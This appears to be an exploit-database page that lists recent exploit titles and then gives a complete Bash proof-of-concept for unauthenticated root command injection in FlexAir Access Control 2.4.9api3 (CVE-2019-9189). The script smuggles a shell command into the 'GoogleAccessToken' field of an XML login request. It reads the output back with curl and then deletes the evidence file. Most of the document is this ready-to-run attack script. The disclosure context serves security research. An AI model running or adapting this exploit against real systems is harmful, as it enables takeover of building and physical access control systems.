
38 changes to exploits/shellcodes Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path RTK IIS Codec Service 6.4.10041.133 - 'RtkI2SCodec' Unquote Service Path Control Center PRO 6.2.9 - Local Stack Based Buffer Overflow (SEH) Wondershare Application Framework Service - _WsAppService_ Unquote Service Path eMerge E3 Access Controller 4.6.07 - Remote Code Execution eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit) CBAS-Web 19.0.0 - Information Disclosure Prima FlexAir Access Control 2.3.38 - Remote Code Execution Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting eMerge E3 1.00-06 - Unauthenticated Directory Traversal eMerge E3 1.00-06 - Privilege Escalation eMerge E3 1.00-06 - Remote Code Execution eMerge E3 1.00-06 - Cross-Site Request Forgery Atlassian Confluence 6.15.1 - Directory Traversal eMerge E3 1.00-06 - Arbitrary File Upload eMerge E3 1.00-06 - 'layout' Reflected Cross-Site Scripting eMerge50P 5000P 4.6.07 - Remote Code Execution CBAS-Web 19.0.0 - Remote Code Execution CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin) CBAS-Web 19.0.0 - Username Enumeration CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection Joomla 3.9.13 - 'Host' Header Injection Prima Access Control 2.3.35 - 'HwName' Persistent Cross-Site Scripting Prima Access Control 2.3.35 - Arbitrary File Upload Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit) Optergy 2.3.0a - Remote Code Execution FlexAir Access Control 2.4.9api3 - Remote Code Execution Optergy 2.3.0a - Cross-Site Request Forgery (Add Admin) Optergy 2.3.0a - Username Disclosure Optergy 2.3.0a - Remote Code Execution (Backdoor) Adrenalin Core HCM 5.4.0 - 'ReportID' Reflected Cross-Site Scripting FlexAir Access Control 2.3.35 - Authentication Bypass Bematech Printer MP-4200 - Denial of Service
57 lines
No EOL
2.1 KiB
Bash
Executable file
57 lines
No EOL
2.1 KiB
Bash
Executable file
# Exploit Title: FlexAir Access Control 2.4.9api3 - Remote Code Execution
|
|
# Google Dork: NA
|
|
# Date: 2019-11-11
|
|
# Exploit Author: LiquidWorm
|
|
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
|
|
# Software Link: https://www.computrols.com/building-automation-software/
|
|
# Version: 2.4.9api3
|
|
# Tested on: NA
|
|
# CVE : CVE-2019-9189
|
|
# Advisory: https://applied-risk.com/resources/ar-2019-007
|
|
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
|
|
|
|
# PoC
|
|
|
|
#!/bin/bash
|
|
#
|
|
# Command injection with root privileges in FlexAir Access Control (Prima Systems)
|
|
# Firmware version: <= 2.3.38
|
|
|
|
#
|
|
# Discovered by Sipke Mellema
|
|
# Updated: 14.01.2019
|
|
#
|
|
##########################################################################
|
|
#
|
|
# $ ./Nova2.3.38_cmd.sh 192.168.13.37 "id"
|
|
# Executing: id
|
|
# Output:
|
|
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
|
|
# Removing temporary file..
|
|
# Done
|
|
#
|
|
##########################################################################
|
|
# Output file on the server
|
|
OUTPUT_FILE="/www/pages/app/images/logos/output.txt"
|
|
# Command to execute
|
|
CMD="$2"
|
|
# IP address
|
|
IP="$1"
|
|
# Change HTTP to HTTPS if required
|
|
HOST="http://${IP}"
|
|
# Add output file
|
|
CMD_FULL="${CMD}>${OUTPUT_FILE}"
|
|
# Command injection payload. Be careful with single quotes!
|
|
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;${CMD_FULL}'/></request></requests>"
|
|
|
|
# Perform exploit
|
|
echo "Executing: ${CMD}"
|
|
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
|
|
# Get output
|
|
echo "Output:"
|
|
curl -s "${HOST}/app/images/logos/output.txt"
|
|
# Remove temp file
|
|
echo "Removing temporary file.."
|
|
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;rm /www/pages/app/images/logos/output.txt'/></request></requests>"
|
|
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
|
|
echo "Done" |